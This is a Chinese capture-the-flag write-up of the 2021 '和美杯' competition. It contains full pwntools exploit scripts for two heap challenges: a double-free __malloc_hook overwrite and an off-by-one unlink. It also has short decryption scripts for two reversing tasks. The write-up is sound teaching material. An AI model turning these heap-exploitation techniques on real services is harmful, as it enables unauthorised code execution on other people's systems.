MENU

2021年 “和美杯” 网络安全技能竞赛 Writeup

October 14, 2021 • Read: 32 • Pwn,Reverse

题目是安恒给的,难度主要是“简单”和“中等”的,估计是比较早的题目了。

PWN

两个 PWN 都没给 libc,怀疑题目是比较早的题目,用 double free leak 了一下,发现就是 2.23,和本机环境一致。

sign_in

UAF,打 __malloc_hook - 0x23,用 double free 来触发 malloc,这时栈上会有很多 0,可以符合 onegadget 的要求

from pwn import *

elf = None
libc = None
file_name = "./sign_in"
#context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    libc = None
    try:
        data = os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info = i.split("=>")
            if len(libc_info) == 2:
                if "libc" in libc_info[0]:
                    libc_path = libc_info[1].split(' (')
                    if len(libc_path) == 2:
                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        if info == None:
            info = 'libc_base:\t'
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    try:
        sh.recvrepeat(0.1)
        sh.sendline('cat flag')
        return sh.recvrepeat(0.3)
    except EOFError:
        return ""


def get_gdb(sh, addr=None, gdbscript=None, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript)
    elif addr is not None:
        gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
    else:
        gdb.attach(sh)
    if stop:
        raw_input()


def Attack(target=None, elf=None, libc=None):
    global sh
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            sh.close()
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag

def choice(idx):
    sh.sendlineafter("Your choice : ", str(idx))


def add(size, name, message = "wjh"):
    choice(1)
    sh.sendlineafter("size of the game's name: ", str(size))
    sh.sendafter("game's name:", name)
    sh.sendlineafter("game's message:", message)


def show():
    choice(2)


def delete(idx):
    choice(3)
    sh.sendlineafter("game's index:", str(idx))


def pwn(sh, elf, libc):
    context.log_level = "debug"

    add(0x68, 'a' * 0x68) #0
    add(0x68, 'a' * 0x68) #1

    add(0x88, 'a' * 0x88)
    add(0x88, 'a' * 0x88)
    delete(2)
    add(0x58, 'a') #2
    show()

    libc_base = get_address(sh, True, offset=-0x3c4b61)

    one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
    malloc_hook_addr = libc_base + 0x3c4b10
    delete(0)
    delete(1)
    delete(0)

    add(0x68, p64(malloc_hook_addr - 0x23))
    add(0x68, 'b' * 8)
    add(0x68, 'c' * 8)
    add(0x68, 'a' * 0x13 + p64(one_gadget[1] + libc_base))
    #get_gdb(sh)
    delete(0)
    delete(0)
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(elf=get_file(), libc=get_libc())
    sh.close()
    if flag != "":
        log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

Summeron

感觉比前一题还简单,洞是 off by one,因为没开 PIE,直接劫持全局指针就好。

from pwn import *

elf = None
libc = None
file_name = "./Summeron"


# context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    libc = None
    try:
        data = os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info = i.split("=>")
            if len(libc_info) == 2:
                if "libc" in libc_info[0]:
                    libc_path = libc_info[1].split(' (')
                    if len(libc_path) == 2:
                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        if info == None:
            info = 'libc_base:\t'
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    try:
        sh.recvrepeat(0.1)
        sh.sendline('cat flag')
        return sh.recvrepeat(0.3)
    except EOFError:
        return ""


def get_gdb(sh, addr=None, gdbscript=None, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript)
    elif addr is not None:
        gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
    else:
        gdb.attach(sh)
    if stop:
        raw_input()


def Attack(target=None, elf=None, libc=None):
    global sh
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            sh.close()
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag


def choice(idx):
    sh.sendlineafter("choice >", str(idx))


def add(size, content='sh\x00'):
    choice(1)
    sh.sendlineafter("Please enter the length of the Summoner's name:", str(size))
    sh.sendlineafter("Please enter the length of the summoner's introduction:", str(0))
    sh.sendlineafter("Summoner's name:", content)
    sh.recvuntil("Add success!")


def edit(idx, content):
    choice(2)
    sh.sendlineafter("index>", str(idx))
    sh.sendlineafter("Do you want to edit the name or introduction?(1/2):", "1")
    sh.sendlineafter("Please enter the name of the new summoner:", str(content))


def delete(idx):
    choice(3)
    sh.sendlineafter("index>", str(idx))
    sh.recvuntil('Delete success!')


def show(idx):
    choice(4)
    sh.sendlineafter("index>", str(idx))


def pwn(sh, elf, libc):
    context.log_level = "debug"
    target = 0x0000000000602060
    FD = target - 0x18
    BK = target - 0x10

    add(0xF8)  # 0
    add(0xF8)  # 1
    add(0x18)  # 2
    delete(1)
    add(0xF8, '\n')  # 3
    show(3)
    libc_base = get_address(sh, True, offset=-0x3c4b0a)
    edit(0, p64(0) + p64(0xF1) + p64(FD) + p64(BK) + 'a' * (0xF8 - 0x28) + p64(0xF0) + '\x00')
    delete(3)
    edit(0, 'a' * 0x18 + p64(libc_base + 0x3c67a8))

    edit(0, p64(libc_base + 0x453a0))
    # get_gdb(sh)
    choice(3)
    sh.sendlineafter("index>", str(2))

    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(elf=get_file(), libc=get_libc())
    sh.close()
    if flag != "":
        log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

RE

冰冰给我 flag 可以吗

exe 解包得到 pyc,pyc 解密得到源码,逆回去写一下解密就好。这题的 flag 有误,找了一下裁判。

import base58



if __name__ == '__main__':
    fp = open(r'C:\\1.png', 'rb')
    tmp = fp.read().decode('utf-8')
    t = ""
    for i in range(len(tmp)):
        t += chr(((ord(tmp[i]) ^ 0x89) + 256) & 0xff)
    tmp = base58.b58decode(t)
    fp = open('C:\\2.png', 'wb')
    fp.write(tmp)
    fp.close()

howtodecompile

几个花指令,直接 nop 掉就能看伪代码了,写个解密就好。

#include <cstdio>
#include <string.h>

unsigned char input1[] =
{
  0x60, 0x65, 0x77, 0x67, 0x70, 0x62, 0x5F, 0x50, 0x4C, 0x4D,
  0x57, 0x7B, 0x4D, 0x57, 0x7B, 0x45, 0x7B, 0x42, 0x45, 0x4F,
  0x41, 0x7B, 0x42, 0x48, 0x45, 0x43, 0x1B, 0x59, 0x00
};

int main()
{
    unsigned int dword_20DC30[28] = {
    0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0xFFFFFFDA,
    0xFFFFFFE7, 0x00000006, 0xFFFFFFBD, 0x00000000, 0xFFFFFFE0, 0xFFFFFFB4, 0x00000002, 0xFFFFFFF6,
    0x00000000, 0x0000000E, 0xFFFFFFF1, 0x0000000A, 0xFFFFFFCE, 0x00000000, 0xFFFFFFE0, 0xFFFFFFB5,
    0x00000000, 0xFFFFFFD2, 0xFFFFFFE2, 0x00000000
    };
    char v2; // bl
    char v3; // al
    char Destination[264]; // [esp+D0h] [ebp-114h] BYREF
    int i; // [esp+1D8h] [ebp-Ch]
    for (int i = 0; i < 28; ++i)
    {
        input1[i] ^= 0x24u;
    }
    for (i = 0; i < 28; ++i)
    {
        input1[i] += dword_20DC30[i];
    }
    printf("%s", input1);
}

题目下载

2021年和美杯PWN、RE题目

Archives QR Code Tip
QR Code for this page
Tipping QR Code
Leave a Comment

已有 1 条评论
  1. 花指令怎么nop掉的啊dalao@(泪)